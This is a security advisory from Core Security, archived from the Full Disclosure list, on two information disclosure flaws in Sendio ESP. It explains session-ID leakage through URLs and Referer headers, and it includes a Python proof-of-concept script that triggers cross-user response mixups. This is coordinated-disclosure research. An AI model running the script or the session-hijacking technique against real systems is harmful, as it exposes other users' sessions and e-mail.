[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [FD] [CORE-2015-0010] - Sendio ESP Information Disclosure Vulnerability
From:       CORE Advisories Team <advisories () coresecurity ! com>
Date:       2015-05-22 16:11:59
Message-ID: 555F554F.4000306 () coresecurity ! com
[Download RAW message or body]

1. Advisory Information

Title: Sendio ESP Information Disclosure Vulnerability
Advisory ID: CORE-2015-0010
Advisory URL: http://www.coresecurity.com/advisories/sendio-esp-information-disclosure-vulnerability
 Date published: 2015-05-22
Date of last update: 2015-05-22
Vendors contacted: Sendio
Release mode: Coordinated release


2. Vulnerability Information

Class: OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management \
                [CWE-930], Information Exposure [CWE-200]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-0999, CVE-2014-8391



3. Vulnerability Description

Sendio [1] ESP (E-mail Security Platform) is a network appliance which provides \
anti-spam and anti-virus solutions for enterprises. Two information disclosure issues \
were found affecting some versions of this software, and can lead to leakage of \
sensitive information such as user's session identifiers and/or user's email \
messages.


4. Vulnerable Packages

Sendio 6 (14.1120.0)
Other products and versions might be affected too, but they were not tested.


5. Vendor Information, Solutions and Workarounds

Sendio informs us that [CVE-2014-0999] and [CVE-2014-8391] are fixed on Sendio \
software Version 7.2.4.

For [CVE-2014-0999], the vulnerability only exists for HTTP web sessions and not \
HTTPS web sessions. Sendio recommends that customers who have not upgraded to Version \
7.2.4 should disallow HTTP on their Sendio product and only use HTTPS.


6. Credits

This vulnerability was discovered and researched by Martin Gallo from Core Security's \
Consulting Services Team. The publication of this advisory was coordinated by \
Joaquín Rodríguez Varela from Core Security's Advisories Team.


7. Technical Description / Proof of Concept Code

7.1. Disclosure of session cookie in Web interface URLs

The Sendio [1] ESP Web interface authenticates users with a session cookie named \
"jsessionid". The vulnerability [CVE-2014-0999] is caused due the way the Sendio ESP \
Web interface handles this authentication cookie, as the "jsessionid" cookie value is \
included in URLs when obtaining the content of emails. The URLs used by the \
application follow this format:

 
      http://<ESP-web-interface-domain>:<ESP-web-interface-port>/sendio/ice/cmd/msg/body;jsessionid=<session-identifier-value>?id=<message-id>
  
This causes the application to disclose the session identifier value, allowing \
attackers to perform session hijacking. An attacker might perform this kind of attack \
by sending an email message containing links or embedded image HTML tags pointing to \
a controlled web site, and then accessing the victim's session cookies through the \
"Referrer" HTTP header. Accessing this authentication cookie might allow an attacker \
to hijack a victim's session and obtain access to email messages or perform actions \
on behalf of the victim.

7.2. Response mixup in Web interface

The vulnerability [CVE-2014-8391] is caused by an improper handling of users' \
sessions by the Web interface. Under certain conditions, this could lead to the \
server disclosing sensitive information that was intended for a different user. This \
information includes, for instance, other users' session identifiers, email message \
identifiers or email message subjects. In order to trigger this vulnerability, \
requests should be authenticated.

The following Python script can be used to trigger this vulnerability under certain \
circumstances:

 
import requests

domain = "target.domain.com"                     # The target domain
port = 8888                                      # The target port
jsessionid = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"  # A valid jsessionid
num = 100000                                     # No of request to make
msgid = 9999999                                  # A valid message id to baseline the \
requests

url = "http://%s:%d/sendio/ice/cmd/msg/body;jsessionid=%s" % (domain, port, \
jsessionid)


def make_request(id):
    params = {"id": str(id)}
    headers = {"Cookie": "JSESSIONID=%s" % jsessionid}
    return requests.get(url, params=params, headers=headers)


print "[*] Reaching the target to define baseline"
r = make_request(msgid)
baseline_length = r.headers["content-length"]
print "[*] Defined baseline: %d bytes" % baseline_length

for id in range(0, num):
    r = make_request(msgid)
    rlength = int(r.headers["content-length"])
    if r.status_code == 200 and rlength != baseline_length:
        print "\t", r.status_code, rlength, r.text
    else:
        print "\t", r.status_code, rlength
 


8. Report Timeline

2015-03-26: Core Security sent an initial notification to Sendio informing them that \
multiple vulnerabilities were found in one of their products, and requested their PGP \
                keys in order to start an encrypted communication.
2015-03-27: Sendio replied that they would not be able to use PGP keys, but stated \
that their In/out SMTP gateway uses TLS, so that should suffice. They detailed that \
they were working on a fix for the "CS_SENDIO_JSESSIONID_DISCLOSURE" vulnerability \
and estimated it would be released by the end of April, 2015. They requested \
                additional technical details for the "CS_SENDIO_INFO_LEAK" \
                vulnerability.
2015-03-30: Core Security informed that understood that Sendio may not be able to use \
PGP keys, but Core doesn't consider the use of TLS as a replacement for PGP. Core \
Security requested to receive confirmation from Sendio in case they wanted to keep \
the communications unencrypted with PGP in order to send them a draft version of the \
                advisory.
2015-03-30: Sendio confirmed that the communication can remain "as is" without PGP. \
They will inform Core once they have a specific date for publishing the fix. Sendio \
                requested a PoC for the "CS_SENDIO_INFO_LEAK vulnerability".
2015-03-31: Core Security sent a draft version of the advisory and PoC to Sendio.
2015-03-31: Sendio confirmed reception of the advisory and PoC and informed Core that \
                they would provide an update on their test on April 6.
2015-04-06: Sendio informed Core that they were able to reproduce the \
"CS_SENDIO_INFO_LEAK" issue and that were still analyzing it in order to create a \
                fix.
2015-04-07: Core Security requested an estimated date for the release of a \
                fix/update.
2015-04-13: Core Security again requested an answer from Sendio regarding the release \
                of a fix/update.
2015-04-13: Sendio informed Core they were still working on a fix for the JSession \
issue that covers all use cases across Microsoft Outlook and the various supported \
web browsers. For the "CS_SENDIO_INFO_LEAK" they had coded a fix that was undergoing \
                a System Test. Sendio estimated the release would take place on May \
                15, 2015.
2015-04-20: Sendio informed Core they were still planning to release the fixes by May \
                15, 2015.
2015-04-20: Core Security thanked Sendio for the update and informed them they would \
                schedule their security advisory accordingly.
2015-04-24: Core Security requested that Sendio delay the release date of the fixes \
                until Monday, May 18 in order to avoid publishing them on a Friday.
2015-04-27: Sendio informed Core that many of their customers have their Sendio \
systems set to "automatically update" on weekends. Sendio requested Core publish \
their advisory a week after the fix is published. Sendio also requested the ability \
                to add some workarounds into Core's advisory.
2015-04-28: Core Security informed Sendio that they understood their update policy \
and let them know that it is Core's policy to publish their advisory the same day the \
fix is released in order to inform the affected users of its availability. Core also \
                stated that they were willing to add any workarounds Sendio proposed.
2015-05-05: Sendio informed Core that they were still having problems developing a \
fix for the JSession vulnerability, therefore they may have to postpone the release \
                date from May 15 to May 22.
2015-05-07: Core Security thanked Sendio for the update and requested to be kept \
                informed in order to have enough time to schedule their advisory.
2015-05-12: Sendio confirmed that they needed to delay the publication of the fixes \
until May 21. Additionally, Sendio sent Core the proposed workarounds to be added in \
                Core's advisory and requested a draft copy of it.
2015-05-15: Core Security informed Sendio it would reschedule the publication of \
their advisory and would send them a draft copy of it once they produced the final \
                version.
2015-05-20: Sendio informed Core that they would publish the fixes at 10 PM, May 21.
2015-05-20: Core Security informed Sendio that based on their publication time they \
                would have to delay the release of the advisory until Friday 22.
2015-05-22: Advisory CORE-2015-0010 published.


9. References

[1] http://www.sendio.com/. 


10. About CoreLabs

CoreLabs, the research center of Core Security, is charged with anticipating the \
future needs and requirements for information security technologies. We conduct our \
research in several important areas of computer security including system \
vulnerabilities, cyber attack planning and simulation, source code auditing, and \
cryptography. Our results include problem formalization, identification of \
vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs \
regularly publishes security advisories, technical papers, project information and \
shared software tools for public use at: http://corelabs.coresecurity.com.


11. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats with \
security test and measurement solutions that continuously identify and demonstrate \
real-world exposures to their most critical assets. Our customers can gain real \
visibility into their security standing, real validation of their security controls, \
and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and \
leading-edge threat expertise from the company's Security Consulting Services, \
CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 \
(617) 399-6980 or on the Web at: http://www.coresecurity.com.


12. Disclaimer

The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015 \
CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial \
Share-Alike 3.0 (United States) License: \
http://creativecommons.org/licenses/by-nc-sa/3.0/us/


13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security advisories team, \
which is available for download at \
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.



_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic